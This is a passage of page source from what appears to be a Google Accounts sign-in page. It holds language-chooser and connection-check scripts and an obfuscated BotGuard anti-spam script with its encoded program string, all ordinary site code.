}\r\n\r\n          document.body.appendChild(form);\r\n          form.submit();\r\n        }\r\n        var langChooser_getParamStr = function(params) {\r\n          var paramsStr = [];\r\n          for (var a in params) {\r\n            paramsStr.push(a + \"=\" + params[a]);\r\n          }\r\n          return paramsStr.join('&');\r\n        }\r\n        var langChooser_currentUrl = window.location.href;\r\n        var match = langChooser_currentUrl.match(\"^(.*?)(\\\\?(.*?))?(#(.*))?$\");\r\n        var langChooser_currentPath = match[1];\r\n        var langChooser_params = langChooser_parseParams(match[3]);\r\n        var langChooser_fragment = match[5];\r\n\r\n        var langChooser = document.getElementById('lang-chooser');\r\n        var langChooserWrap = document.getElementById('lang-chooser-wrap');\r\n        var langVisControl = document.getElementById('lang-vis-control');\r\n        if (langVisControl && langChooser) {\r\n          langVisControl.style.display = 'inline';\r\n          langChooser.onchange = function() {\r\n            langChooser_params['lp'] = 1;\r\n            langChooser_params['hl'] = encodeURIComponent(this.value);\r\n            var hiddenEmailInput = document.getElementById('Email-hidden');\r\n            if (hiddenEmailInput) {\r\n              // If we are in password separation on password page, post to\r\n              // /AccountLoginInfo.\r\n              appendHiddenParams(langChooser_params);\r\n              langChooser_params['Email'] = hiddenEmailInput.value;\r\n              post('/AccountLoginInfo', langChooser_params);\r\n            } else {\r\n              var paramsStr = langChooser_getParamStr(langChooser_params);\r\n              var newHref = langChooser_currentPath + \"?\" + paramsStr;\r\n              if (langChooser_fragment) {\r\n                newHref = newHref + \"#\" + langChooser_fragment;\r\n              }\r\n              window.location.href = newHref;\r\n            }\r\n          };\r\n        }\r\n      })();\r\n    </script>\r\n<script type=\"text/javascript\">\r\n  var gaia_attachEvent = function(element, event, callback) {\r\n  if (element && element.addEventListener) {\r\n  element.addEventListener(event, callback, false);\r\n  } else if (element && element.attachEvent) {\r\n  element.attachEvent('on' + event, callback);\r\n  }\r\n  };\r\n</script>\r\n  <script>var G,Gb=function(a,b){var c=a;a&&\"string\"==typeof \r\na&&(c=document.getElementById(a));if(b&&!c)throw new Ga(a);return \r\nc},Ga=function(a){this.id=a;this.toString=function(){return\"No element \r\nfound for id '\"+this.id+\"'\"}};var Gc={},Gf=function(a,b,c){var \r\nd=function(a){var b=c.call(this,a);!1===b&&Gd(a);return \r\nb};a=Gb(a,!0);a.addEventListener(b,d,!1);Ge(a,b).push(d);return \r\nd},Gg=function(a,b,c){a=Gb(a,!0);var d=function(){var \r\nb=window.event,d=c.call(a,b);!1===d&&Gd(b);return \r\nd};a.attachEvent(\"on\"+b,d);Ge(a,b).push(d);return \r\nd},Gh;Gh=window.addEventListener?Gf:window.attachEvent?Gg:void 0;\r\nvar \r\nGd=function(a){a.preventDefault?a.preventDefault():a.returnValue=!1;return!1},Ge=function(a,b){Gc[a]=Gc[a]||{};Gc[a][b]=Gc[a][b]||[];return\r\n Gc[a][b]};var Gi=function(){try{return new \r\nXMLHttpRequest}catch(c){for(var \r\na=[\"MSXML2.XMLHTTP.6.0\",\"MSXML2.XMLHTTP.3.0\",\"MSXML2.XMLHTTP\",\"Microsoft.XMLHTTP\"],b=0;b<a.length;b++)try{return\r\n new ActiveXObject(a[b])}catch(d){}}return \r\nnull},Gj=function(){this.request=Gi();this.parameters={}};\r\nGj.prototype.send=function(a,b){var c=[],d;for(d in this.parameters){var\r\n e=this.parameters[d];c.push(d+\"=\"+encodeURIComponent(e))}var \r\nc=c.join(\"&\"),f=this.request;f.open(\"POST\",a,!0);f.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");f.onreadystatechange=function(){4==f.readyState&&b({status:f.status,text:f.responseText})};f.send(c)};\r\nGj.prototype.get=function(a,b){var\r\n \r\nc=this.request;c.open(\"GET\",a,!0);c.onreadystatechange=function(){4==c.readyState&&b({status:c.status,text:c.responseText})};c.send()};var\r\n Gl=function(a){this.g=a;this.u=this.m();if(null==this.g)throw new \r\nGk(\"Empty module name\");};G=Gl.prototype;G.m=function(){var \r\na=window.location.pathname;return \r\na&&0==a.indexOf(\"/accounts\")?\"/accounts/JsRemoteLog\":\"/JsRemoteLog\"};\r\nG.i=function(a,b,c){var \r\nd=this.u,e=this.g||\"\",d=d+\"?module=\"+encodeURIComponent(e);a=a||\"\";d=d+\"&type=\"+encodeURIComponent(a);b=b||\"\";d=d+\"&msg=\"+encodeURIComponent(b);c=c||[];for(a=0;a<c.length;a++)d=d+\"&arg=\"+encodeURIComponent(c[a]);try{var\r\n f=Math.floor(1E4*Math.random()),d=d+\"&r=\"+String(f)}catch(g){}return \r\nd};G.send=function(a,b,c){var d=new Gj;d.parameters={};try{var \r\ne=this.i(a,b,c);d.get(e,function(){})}catch(f){}};G.error=function(a,b){this.send(\"ERROR\",a,b)};\r\nG.warn=function(a,b){this.send(\"WARN\",a,b)};G.info=function(a,b){this.send(\"INFO\",a,b)};G.f=function(a){var\r\n b=this;return function(){try{return \r\na.apply(null,arguments)}catch(c){throw b.error(\"Uncatched exception: \r\n\"+c),c;}}};var Gk=function(){};var Gm=Gm||new \r\nGl(\"uri\"),Gn=/^(?:([^:/?#.]+):)?(?:\\/\\/(?:([^/?#]*)@)?([\\w\\d\\-\\u0100-\\uffff.%]*)(?::([0-9]+))?)?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$/,Go=function(a){return\"http\"==a.toLowerCase()?80:\"https\"==a.toLowerCase()?443:null},Gp=function(a,b){var\r\n c=b.match(Gn)[1]||null,d=b.match(Gn)[3]||null;var \r\ne=d&&decodeURIComponent(d);d=Number(b.match(Gn)[4]||null)||null;if(!c||!e)return\r\n Gm.error(\"Invalid origin \r\nException\",[String(b)]),!1;d||(d=Go(c));b=a.match(Gn)[1]||null;if(!b||b.toLowerCase()!=c.toLowerCase())return!1;\r\nc=(c=a.match(Gn)[3]||null)&&decodeURIComponent(c);if(!c||c.toLowerCase()!=e.toLowerCase())return!1;(a=Number(a.match(Gn)[4]||null)||null)||(a=Go(b));return\r\n d==a};var Gq=Gq||new \r\nGl(\"check_connection\"),Gr=null,Gs=null,Gt=function(a,b){this.c=a;this.b=b;this.a=!1};G=Gt.prototype;G.h=function(a,b){if(!b)return!1;if(0<=a.indexOf(\",\"))return\r\n Gq.error(\"CheckConnection result contains comma\",[a]),!1;var \r\nc=b.value;b.value=c?c+\",\"+a:a;return!0};G.w=function(a){return \r\nthis.h(a,null)};G.v=function(a){return \r\nthis.h(a,Gs)};G.l=function(a){a=a.match(\"^([^:]+):(\\\\d*):(\\\\d?)$\");return!a||3>a.length?null:a[1]};\r\nG.s=function(a,b){if(!Gp(this.c,a))return!1;if(this.a||!b)return!0;this.l(b)==this.b&&(this.v(b)||this.w(a),this.a=!0);return!0};G.o=function(){var\r\n a=this.c;var b=\"timestamp\",c=String((new \r\nDate).getTime());if(0<a.indexOf(\"#\"))throw Object(\"Unsupported URL \r\nException: \"+a);return \r\na=0<=a.indexOf(\"?\")?a+\"&\"+encodeURIComponent(b)+\"=\"+encodeURIComponent(c):a+\"?\"+encodeURIComponent(b)+\"=\"+encodeURIComponent(c)};\r\nG.j=function(){var\r\n \r\na=window.document.createElement(\"iframe\"),b=a.style;b.visibility=\"hidden\";b.width=\"1px\";b.height=\"1px\";b.position=\"absolute\";b.top=\"-100px\";a.src=this.o();a.id=this.b;Gr.appendChild(a)};\r\nvar\r\n Gu=function(a){return function(b){var \r\nc=b.origin.toLowerCase();b=b.data;for(var \r\nd=a.length,e=0;e<d&&!a[e].s(c,b);e++);}},Gv=function(){if(window.postMessage){var\r\n a=window.__CHECK_CONNECTION_CONFIG.iframeParentElementId;var \r\nb=window.__CHECK_CONNECTION_CONFIG.newResultElementId;(Gr=document.getElementById(a))?b?(Gs=document.getElementById(b),a=!0):(Gq.error(\"Unable\r\n to locate the input element to storeCheckConnection result\",\"new id: \r\n\"+String(b)),a=!1):(Gq.error(\"Unable to locate the iframe anchor to \r\nappend connection test iframe\",\r\n[\"element id: \r\n\"+a]),a=!1);if(a){a=window.__CHECK_CONNECTION_CONFIG.domainConfigs;if(!a){if(!window.__CHECK_CONNECTION_CONFIG.iframeUri){Gq.error(\"Missing\r\n iframe URL in old \r\nconfiguration\");return}a=[{iframeUri:window.__CHECK_CONNECTION_CONFIG.iframeUri,domainSymbol:\"youtube\"}]}if(0!=a.length){for(var\r\n b=a.length,c=[],d=0;d<b;d++)c.push(new \r\nGt(a[d].iframeUri,a[d].domainSymbol));Gh(window,\"message\",Gu(c));for(d=0;d<b;d++)c[d].j()}}}},Gw=function(){if(window.__CHECK_CONNECTION_CONFIG){var\r\n a=window.__CHECK_CONNECTION_CONFIG.postMsgSupportElementId;\r\nif(window.postMessage){var \r\nb=document.getElementById(a);b?b.value=\"1\":Gq.error(\"Unable to locate \r\nthe input element to storepostMessage test result\",[\"element id: \r\n\"+a])}}};G_checkConnectionMain=Gq.f(Gv);G_setPostMessageSupportFlag=Gq.f(Gw);\r\n</script>\r\n  <script>\r\n  window.__CHECK_CONNECTION_CONFIG = {\r\n  newResultElementId: 'checkConnection',\r\n  domainConfigs: [{iframeUri: \r\n'https://accounts.youtube.com/accounts/CheckConnection?pmpo\\x3dhttps%3A%2F%2Faccounts.google.com\\x26v\\x3d-1004665669',domainSymbol:\r\n 'youtube'}],\r\n  iframeUri: '',\r\n  iframeOrigin: '',\r\n  iframeParentElementId: 'cc_iframe_parent',\r\n  postMsgSupportElementId: 'pstMsg',\r\n  msgContent: 'accessible'\r\n  };\r\n  G_setPostMessageSupportFlag();\r\n  G_checkConnectionMain();\r\n</script>\r\n  <script type=\"text/javascript\">/* Anti-spam. Want to say hello? \r\nContact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */Function('var \r\nm=function(D,n,X){if(\"object\"==(n=typeof D,n))if(D){if(D instanceof \r\nArray)return\"array\";if(D instanceof Object)return \r\nn;if((X=Object.prototype.toString.call(D),\"[object \r\nWindow]\")==X)return\"object\";if(\"[object Array]\"==X||\"number\"==typeof \r\nD.length&&\"undefined\"!=typeof D.splice&&\"undefined\"!=typeof \r\nD.propertyIsEnumerable&&!D.propertyIsEnumerable(\"splice\"))return\"array\";if(\"[object\r\n Function]\"==X||\"undefined\"!=typeof D.call&&\"undefined\"!=typeof \r\nD.propertyIsEnumerable&&!D.propertyIsEnumerable(\"call\"))return\"function\"}else\r\n return\"null\";else if(\"function\"==n&&\"undefined\"==typeof \r\nD.call)return\"object\";return \r\nn},F=function(D,n,X,l,Z){for(l=X=(n=[],0);l<D.length;l++)Z=D.charCodeAt(l),128>Z?n[X++]=Z:(2048>Z?n[X++]=Z>>6|192:(55296==(Z&64512)&&l+1<D.length&&56320==(D.charCodeAt(l+1)&64512)?(Z=65536+((Z&1023)<<10)+(D.charCodeAt(++l)&1023),n[X++]=Z>>18|240,n[X++]=Z>>12&63|128):n[X++]=Z>>12|224,n[X++]=Z>>6&63|128),n[X++]=Z&63|128);return\r\n n},L=this,y=(new \r\nfunction(){},function(D,n,X,l){for(l=n-1,X=[];0<=l;l--)X[n-1-l]=D>>8*l&255;return\r\n \r\nX}),P=function(D,n,X,l){try{for(l=0;79669387488!=l;)D+=(n<<4^n>>>5)+n^l+X[l&3],l+=2489668359,n+=(D<<4^D>>>5)+D^l+X[l>>>11&3];return[D>>>24,D>>16&255,D>>8&255,D&255,n>>>24,n>>16&255,n>>8&255,n&255]}catch(Z){throw\r\n Z;}},p=function(D,n){for(n=[];D--;)n.push(255*Math.random()|0);return \r\nn},G=function(D,n){D.S.splice(0,0,n)},h=function(D,n,X,l,Z){if(X=n[0],1==X)D.O=25,D.G(n);else\r\n \r\nif(2==X){l=n[X=n[1],3];try{D.i=false,Z=D.G(n)}catch(r){O(D,r),Z=D.Z}X&&X(Z),l.push(Z)}else\r\n if(3==X)D.G(n);else if(4==X)D.G(n);else \r\nif(5==X)D.i=false,n=n[1],n();else if(6==X)return \r\nZ=n[2],w(D,213,n[6]),w(D,162,Z),D.G(n)},N=function(D,n,X,l){(((((((((((((l=((((((((((((((((D.v=0,D).J=0,D).P=function(D,n,X){return(n=(X=function(){return\r\n D},function(){return \r\nX()}),n)[this.B]=function(Z){D=Z},n},D.N=[],D).O=25,D.L=false,D.I=function(D,n,X,l,A,b){return\r\n D=((b=(X=(A=function(){return l()},l=function(){return \r\nl[X.b+(A[X.f]===n)-!b[X.f]]},this),X.G),A[X.B]=function(D){l[X.h]=D},A)[X.B](D),A)},D.A=[],w(D,31,0),w)(D,95,0),w)(D,97,[165,0,0]),w(D,181,function(D,n,X,l){(l=(n=g(D),X=g(D),g)(D),D.R(n))[D.R(X)]=D.R(l)}),w)(D,219,function(D,n,X,l){n=(n=g(D),X=g(D),l=g(D),X=D.R(X),D.R(n)),w(D,l,n[X])}),w(D,27,function(D,n,X,l,A,b,J){if(!Y(D,1)){if(\"object\"==(A=(l=(X=(X=(n=g(D),g)(D),l=g(D),A=g(D),n=D.R(n),D.R(X)),D.R(l)),D.R(A)),m)(n)){for(J\r\n in \r\nb=[],n)b.push(J);n=b}for(J=(b=0,n).length;b<J;b+=l)X(n.slice(b,b+l),A);Y(D,0)}}),w)(D,77,function(D,n,X,l){l=(X=(n=g(D),g(D)),g)(D),w(D,l,(D.R(n)in\r\n \r\nD.R(X))+0)}),w)(D,235,[]),w)(D,4,2048),w)(D,64,function(D,n,X){(X=(n=g(D),g)(D),w)(D,X,\"\"+D.R(n))}),D).c=function(D,n){((n.push(D[0]<<24|D[1]<<16|D[2]<<8|D[3]),n).push(D[4]<<24|D[5]<<16|D[6]<<8|D[7]),n).push(D[8]<<24|D[9]<<16|D[10]<<8|D[11])},w(D,48,function(D){S(D,4)}),w(D,140,L),w)(D,243,function(D,n,X,l,A){X=(A=(X=(n=g(D),g)(D),l=D.R(g(D)),D).R(g(D)),D).R(X),w(D,n,V(D,X,l,A))}),D.i=false,w(D,139,function(D){H(D,4)}),w(D,203,function(D,n,X,l,A,b,J){Y(D,1)||(n=e(D),A=n.W,l=n.M,X=n.s,J=X.length,0==J?b=new\r\n l[A]:1==J?b=new l[A](X[0]):2==J?b=new l[A](X[0],X[1]):3==J?b=new \r\nl[A](X[0],X[1],X[2]):4==J?b=new \r\nl[A](X[0],X[1],X[2],X[3]):I(D,22),w(D,n.X,b),Y(D,0))}),w(D,222,[]),w)(D,54,D),w(D,115,function(D,n,X){n=(n=g(D),X=g(D),D.N[n]&&D.R(n)),w(D,X,n)}),w)(D,86,function(D,n,X,l,A){for(n=g(D),X=C(D),A=0,l=[];A<X;A++)l.push(g(D));w(D,n,l)}),w)(D,21,0),X.Y)||function(){},w)(D,170,function(){}),w(D,212,function(D,n,X){Y(D,1)||(n=g(D),X=g(D),w(D,X,function(D){return\r\n \r\neval(D)}(D.R(n))),Y(D,0))}),D.S=[],w(D,163,function(D,n){Y(D,1)||(n=e(D),w(D,n.X,n.W.apply(n.M,n.s)),Y(D,0))}),w(D,43,function(D){D.D(4)}),w)(D,55,0),w(D,217,function(D,n,X,l,A,b,J,a,T,k){if(l=(X=(n=g(D),C(D)),\"\"),void\r\n \r\n0!=D.N[224])for(A=D.R(224),J=A.length,b=0;X--;)b=(b+C(D))%J,l+=A[b];else{for(l=(A=0,[]);A<X;A++)l.push(g(D));for(b=A=(X=[],0);A<l.length;)J=l[A++],128>J?X[b++]=String.fromCharCode(J):191<J&&224>J?(a=l[A++],X[b++]=String.fromCharCode((J&31)<<6|a&63)):239<J&&365>J?(a=l[A++],T=l[A++],k=l[A++],J=((J&7)<<18|(a&63)<<12|(T&63)<<6|k&63)-65536,X[b++]=String.fromCharCode(55296+(J>>10)),X[b++]=String.fromCharCode(56320+(J&1023))):(a=l[A++],T=l[A++],X[b++]=String.fromCharCode((J&15)<<12|(a&63)<<6|T&63));l=X.join(\"\")}w(D,n,l)}),w)(D,210,function(D){S(D,1)}),w)(D,18,function(D,n,X){(X=(n=g(D),g(D)),w)(D,X,D.R(X)+D.R(n))}),w(D,74,74),w(D,215,function(D,n){(D=(n=g(D),D).R(n),D[0]).removeEventListener(D[1],D[2],false)}),w)(D,187,function(D,n,X,l){l=(X=(n=g(D),g(D)),g)(D),w(D,l,D.R(n)>>X)}),w)(D,76,0),D.K=[],w(D,142,p(4)),w(D,129,function(D,n,X,l,A){l=(X=(n=(l=(n=g(D),X=g(D),g)(D),D.R(n)),A=D.R(g(D)),D).R(X),D.R(l)),0!==n&&(l=V(D,l,A,1,n,X),n.addEventListener(X,l,q),w(D,55,[n,X,l]))}),w)(D,56,function(D,n,X){(X=(n=g(D),g(D)),n=D.R(n),w)(D,X,m(n))}),w)(D,165,function(D,n,X,l){(l=(X=(n=g(D),g)(D),g(D)),D.R(n)==D.R(X))&&w(D,l,D.R(l)+1)}),w)(D,96,0),w)(D,34,function(D,n){(n=D.R(g(D)),E)(D,n)}),w(D,80,function(D,n,X){0!=(X=(n=g(D),g)(D),D.R(n))&&w(D,31,D.R(X))}),w(D,162,{}),w)(D,229,function(D,n,X,l){if(n=D.K.pop()){for(X=g(D);0<X;X--)l=g(D),n[l]=D.N[l];n[222]=D.N[222],n[4]=D.N[4],D.N=n}else\r\n \r\nw(D,31,D.a.length)}),w(D,137,function(D){H(D,1)}),w(D,174,function(D,n,X,l,A){for(n=[],X=g(D),l=0;l<X;l++)A=g(D),n.push(D.R(A));X=g(D),w(D,X,function(D,X){D.v++;try{for(X=0;X<n.length;X++)(0,n[X])(D)}finally{D.v--}})}),w(D,103,function(D){D.i&&K(D,0)}),w(D,127,function(D){H(D,2)}),w)(D,245,function(D,n,X,l){(l=(n=g(D),X=g(D),g(D)),w)(D,l,D.R(n)||D.R(X))}),n&&\"!\"==n.charAt(0))?(D.Z=n,l()):(X=!!X.Y,D.i=X,D.a=[],G(D,[4,n]),G(D,[5,l]),v(D,false,X,true))},t=function(D,n,X,l,Z,r,M,B,A){D.v++;try{for(X=(l=5001,M=(r=void\r\n \r\n0,0),Z=20,D.a.length);(--l||D.H)&&(M=D.R(31))<X;)try{w(D,95,M),B=g(D),(r=D.R(B))&&r.call?r(D):I(D,21,0,B),0>Z--&&(Y(D,0),Z=20)}catch(b){b!=D.F&&(A=D.R(74),74!=A?(w(D,A,b),w(D,74,74)):I(D,22,b))}l||I(D,33)}catch(b){try{I(D,22,b)}catch(J){O(D,J)}}return\r\n \r\nX=D.R(162),n&&w(D,31,n),D.v--,X},W=function(D,n,X,l,Z){for(;D.S.length;){if(X&&n&&d(D)){Z=D,D.j(function(){v(Z,false,n,false)});break}l=(l=(X=true,D.S.pop()),h(D,l))}return\r\n l},w=function(D,n,X){if(31==n||95==n)if(D.N[n])D.N[n][D.B](X);else \r\nD.N[n]=D.P(X);else \r\nif(97!=n&&142!=n&&235!=n&&222!=n||!D.N[n])D.N[n]=D.I(X,D.R);21==n&&(D.g=void\r\n \r\n0,w(D,31,D.R(31)+4))},S=function(D,n,X,l){(l=(X=g(D),g(D)),c)(D,l,y(D.R(X),n))},e=function(D,n,X,l,Z,r){for(r=(Z=(X=(n={},g)(D),n.X=g(D),n.s=[],l=g(D)-1,g(D)),0);r<l;r++)n.s.push(g(D));for(n.W=D.R(X),n.M=D.R(Z);l--;)n.s[l]=D.R(n.s[l]);return\r\n \r\nn},O=function(D,n){D.Z=(\"E:\"+n.message+\":\"+n.stack).slice(0,2048)},g=function(D,n,X){if(n=D.R(31),!(n\r\n in D.a))throw I(D,31),D.F;return((void 0==D.g&&(D.g=f(D.a,n-4),D.U=void\r\n \r\n0),D).U!=n>>3&&(D.U=n>>3,X=[0,0,0,D.R(21)],D.u=P(D.g,D.U,X)),w)(D,31,n+1),D.a[n]^D.u[n%8]},I=function(D,n,X,l,Z){(X=(l=((Z=D.R(95),n=[n,Z>>8&255,Z&255],void\r\n 0!=l&&n.push(l),0)==D.R(222).length&&(D.N[222]=void \r\n0,w(D,222,n)),\"\"),X&&(X.message&&(l+=X.message),X.stack&&(l+=\":\"+X.stack)),D).R(4),3<X)&&(l=l.slice(0,X-3),X-=l.length+3,l=F(l.replace(/\\\\r\\\\n/g,\"\\\\n\")),c(D,142,y(l.length,2).concat(l),12)),w(D,4,X)},Q=function(D,n){try{N(this,D,n)}catch(X){O(this,X)}},C=(((((Q.prototype.G=function(D,n,X,l,Z){if(4==(n=D[0],n)){D=D[1];try{for(l=n=(X=atob(D),D=[],0);l<X.length;l++){for(Z=X.charCodeAt(l);255<Z;)D[n++]=Z&255,Z>>=8;D[n++]=Z}this.a=D}catch(r){I(this,17,r)}t(this)}else\r\n \r\nif(1==n)X=D[2],Z=D[1],X.push(this.R(97).length,this.R(142).length,this.R(235).length,this.R(4)),this.i=Z,w(this,162,D[3]),this.N[247]&&x(this,this.R(247));else{if(2==n){if(D=((Z=(((n=(Z=((D=y((X=D[2],this.R(97).length+2),2),Z=this.R(222),0<Z.length)&&c(this,97,y(Z.length,2).concat(Z),15),this.R(76))&511,Z-=this.R(97).length+5,this).R(142),4)<n.length&&(Z-=n.length+3),0<Z)&&c(this,97,y(Z,2).concat(p(Z)),10),4<n.length&&c(this,97,y(n.length,2).concat(n),153),p(2).concat(this.R(97))),Z[1]=Z[0]^3,Z[3]=Z[1]^D[0],Z)[4]=Z[1]^D[1],window).btoa){for(l=0,n=\"\";l<Z.length;l+=8192)n+=String.fromCharCode.apply(null,Z.slice(l,l+8192));D=D(n).replace(/\\\\+/g,\"-\").replace(/\\\\//g,\"_\").replace(/=/g,\"\")}else\r\n D=void 0;if(D)D=\"!\"+D;else \r\nfor(n=0,D=\"\";n<Z.length;n++)l=Z[n][this.B](16),1==l.length&&(l=\"0\"+l),D+=l;return((this.R(97).length=X[0],this.R(142).length=X[1],this.R(235)).length=X[2],Z=D,w)(this,4,X[3]),Z}if(3==n)x(this,D[1]);else\r\n if(6==n)return \r\nx(this,D[1])}},Q.prototype).f=\"caller\",Q.prototype).C=(window.performance||{}).now?function(){return\r\n window.performance.now()|0}:function(){return+new \r\nDate},Q.prototype).B=\"toString\",Q).prototype.j=L.requestIdleCallback?function(D){requestIdleCallback(D,{timeout:4})}:L.setImmediate?function(D){setImmediate(D)}:function(D){setTimeout(D,0)},function(D,n){return(n=g(D),n&128)&&(n=n&127|g(D)<<7),n}),v=(Q.prototype.o=function(D,n,X,l){try{l=D[(n+2)%3],D[n]=D[n]-D[(n+1)%3]-l^(1==n?l<<X:l>>>X)}catch(Z){throw\r\n Z;}},function(D,n,X,l,Z,r){if(0==D.S.length)return \r\nr;if(Z=0==D.v)D.l=D.C();return(r=W(D,X,l),Z)&&(X=D.C()-D.l,X<(n?10:0)||0>=D.O--||D.A.push(254>=X?X:254)),r}),K=(Q.prototype.D=function(D,n,X,l){(((l=(X=(D&=(n=D&4,3),g)(this),g(this)),X=this.R(X),n)&&(X=F((\"\"+X).replace(/\\\\r\\\\n/g,\"\\\\n\"))),D)&&c(this,l,y(X.length,2)),c)(this,l,X)},function(D,n){((n=D.R(31)-n,w)(D,31,D.a.length),D).S.push([3,n])}),E=((Q.prototype.b=35,Q).prototype.zS=function(D,n,X,l,Z,r){for(r=l=(X=[],0);r<D.length;r++)for(Z=Z<<n|D[r],l+=n;7<l;)l-=8,X.push(Z>>l&255);return\r\n X},function(D,n){(D.K.push(D.N.slice()),D).N[31]=void \r\n0,w(D,31,n)}),c=function(D,n,X,l,Z,r){for((Z=D.R(n),142==n?(n=function(D,n,X,l){if((X=(n=Z.length,n)-4>>3,Z.V)!=X){X=((l=(Z.V=X,[0,0,0,r]),X)<<3)-4;try{Z.$=P(f(Z,X),f(Z,X+4),l)}catch(J){throw\r\n \r\nJ;}}Z.push(Z.$[n&7]^D)},r=D.R(96)):n=function(D){Z.push(D)},l)&&n(l&255),l=0,D=X.length;l<D;l++)n(X[l])},q=false,H=function(D,n,X,l){for(X=g(D),l=0;0<n;n--)l=l<<8|g(D);w(D,X,l)},f=function(D,n){return\r\n \r\nD[n]<<24|D[n+1]<<16|D[n+2]<<8|D[n+3]},x=(Q.prototype.T=function(D,n,X,l,Z,r){if(this.Z)return\r\n \r\nthis.Z;try{Z=[],r=[],l=!!D,G(this,[1,l,Z,n]),G(this,[2,D,Z,r]),v(this,false,l,true),X=r[0]}catch(M){O(this,M),X=this.Z,D&&D(X)}return\r\n \r\nX},function(D,n,X){return((X=D.R(31),D.a&&X<D.a.length)?(w(D,31,D.a.length),E(D,n)):w(D,31,n),t)(D,X)}),V=function(D,n,X,l,Z,r){return\r\n function(){var M,B=l&1,A=[6,n,X,void 0,Z,r,arguments];return \r\nl&2?(G(D,A),M=v(D,true,false,false)):B&&D.S.length?G(D,A):B?(G(D,A),v(D,true,false,false)):M=h(D,A),M}},Y=(((Q.prototype.Nd=function(D,n,X,l){for(;X--;)31!=X&&95!=X&&n.N[X]&&(n.N[X]=n[l](n[D](X),this));n[D]=this},Q).prototype.h=36,Q.prototype).w=function(D,n,X){return(n=(n^=n<<13,n^=n>>17,(n^n<<5)&X))||(n=1),D^n},function(D,n){if(0>=D.J||1<D.v||D.C()-D.l<D.J)return\r\n false;return \r\nD.L=true,K(D,n),true}),d=(Q.prototype.H=false,function(D){if(D.J){if(!D.L)return\r\n false;D.L=false}else if(10>D.C()-D.l)return false;return \r\n0!=document.hidden?false:true});(((Q.prototype.Ro=function(D,n,X,l,Z){for(Z=l=0;Z<D.length;Z++)l+=D.charCodeAt(Z),l+=l<<10,l^=l>>6;return(l=(D=(l+=l<<3,l^=l>>11,l)+(l<<15)>>>0,new\r\n \r\nNumber(D&(1<<n)-1)),l)[0]=(D>>>n)%X,l},Q.prototype).R=function(D,n){if(void\r\n 0===(n=this.N[D],n))throw I(this,30,0,D),this.F;return \r\nn()},Q.prototype).m=function(D,n,X){if(3==D.length){for(X=0;3>X;X++)n[X]+=D[X];for(D=[13,8,13,12,16,5,3,10,(X=0,15)];9>X;X++)n[3](n,X%3,D[X])}},Q).prototype.F={};try{window.addEventListener(\"unload\",function(){},q),window.addEventListener(\"test\",null,Object.defineProperty({},\"passive\",{get:function(){q={passive:true}}}))}catch(D){}var\r\n \r\nU=(L.botguard||(L.botguard={}),L.botguard);(U.BKG=function(D,n,X){(X=new\r\n \r\nQ(D,{Y:n}),this).invoke=function(D,n,r){return(r=X.T(n&&D,r),D)&&!n&&D(r),r}},U).bg=function(D,n,X){return\r\n D&&D.substring&&(X=U[D.substring(0,3)])?new X(D.substring(3),n):new \r\nU.BKG(D,n)};')();</script>\r\n  <script type=\"text/javascript\">\r\n  document.bg = new \r\nbotguard.bg('BKGx3GTxp7A2UVQhrqr9TNuMGaKVybN1nQ+2fvLUhHhPmYCGWt8+RH5wJUr5p928Cbj2UE0xk7eqLWbbfigJOdZynjAQmh6OlbhhtOiMczJ5/mCkYm8XyVUG8Dx1f3fPEFsBKgSHMvZdK0myMK8/++j0IMUqQBeRBxmy0dM8gkowR4KiRaemhKY7AqCxbJt4b4Y5VHe+ICxjB+M5n9nC7dacvs5og0p1UfXGR/Ko/JjDsM7tABdUqPUuOxBHhdvrnSUYH8PfyIO+z70yau/QhW2poj5aE5jsxsnDq7/aCMca7JgBsYgxajBAIW9kwVAdSkXgTxCBb0Xag+Bu+9YM9yfxAEmiDKqR888MOX+YXK7kmCg1olEiFJvEjc/fP9VEhGoNKMo2F9vmZxGCFOTIjLU3quIY4DdJZohzcNk/s6nzC3D2o+c7ss6fO1A7xIunePmxC28Z0MPqzz5xrE12HBGNW2yGzpFrjZaE/UJDUYfoTn0nEm7ZRpJlgpuzpVvKmTBT0We38So9OTu9EK8j5Bzt/xuTTobttRslXH1OHrc1gNnw/DDDtRAOMJc7qoRH5tCDMjwIjeUOnhwkcHkGp7+iRwYmNr7phy3OOosQWJ6o+gojOtb/nJ/rppPFhPajsgAyhp/rYKHYkOpxWwSuyUsHCFaur7nADThCba0NGDrevSmTRp+ddGUBnjNe6eddg0j/syV+tQyyZ15jRjYEyD60owf+lPlTbWolhWAnpxWDf4YKIfV6PKXzn/1GpOH23SkGMTIXD4IqKtUQXRsnNjlqTkQmueK9YUyC4majoORBC3rOOeFBJVcMWHNJS0qcDDy1QhKiwDSHi7L3VtpiCWIa7tq9ocHeLcAP0/uDJnMNQj9x8SP4JFwdNj31t32Y1tNBzusRJad3BkaQL8kLvPB6J6DxkSOF9lxEhqIzEEsdA3eDDlDrfMcOHwa9DGHAGL8NCLhZ3r4iierZSUojmp8yGeiUOfVTdj6rKTY7ZVzrJ50bKrjmwoQP+b2bGCvRCISvkcQC7/Ow6vNUc2RhKrTwMV4R9SquhRDwEognStA5NDdpreHchTK/xk7py5rk+wPtzVU7KKGbkXu+D4goBK3NbPueQV+sFcD4N9m2hsXrRTVS09BTOs6fTUdjbBufkdMcfT7zv2KaSgsnrtbMQTm73oaXbLqm1ZnwIfQcFnYQWUsjPBeLMKl47hrFV6MpxhuNPyxiRGz4tV+5OzPQfhJ7UydhuHXB18P2n7S2+Er/T1ODozg8qve6Pv5L5E0oldkCdQTBfJ/PtEYCtZOFPGyOjmtDNI+kT0wy9utIGfaG8s3kerJZDg9+tOxB7CBQhu16RhsfUOv2LDucmKqbeODnQpR13VlAkUUM/QFUn4kLJii4dUSAsbJ73yNq+usuETACj84DijbXGHuB9h/fYyXOeG7XfGMMxnoQCLru6qxmPMGO9s3VZ4F+sVQUVuBbi9N0cEbU4ym5dmqGidChJBASHQE8C4HjBL+BvFpcy++Lfcw8N0TAoaVYAny0J3b2B59em4eFkS/gXRl5B1AJmvUKyu3DLmw1gDEPsdDqtdv4cDsaZBkpapLdCq5/vZDDNIJgUbRnwHni0GpcoUd0zObOz64LGlNz71hxUfoZYlHPrmJmo/HAvNhx4nAo06A8KtrRjRlDTYU6v2UhwJpRuy6jVE5j/FiX5DvpVFwPPH0BTYRSefsErx3GnkLiHHMqiqcTWQVab3XZuJQu+FYnQZEqfgMGvpoERfpn4PjTNFHgKeMQUnQXAA1PXaD0S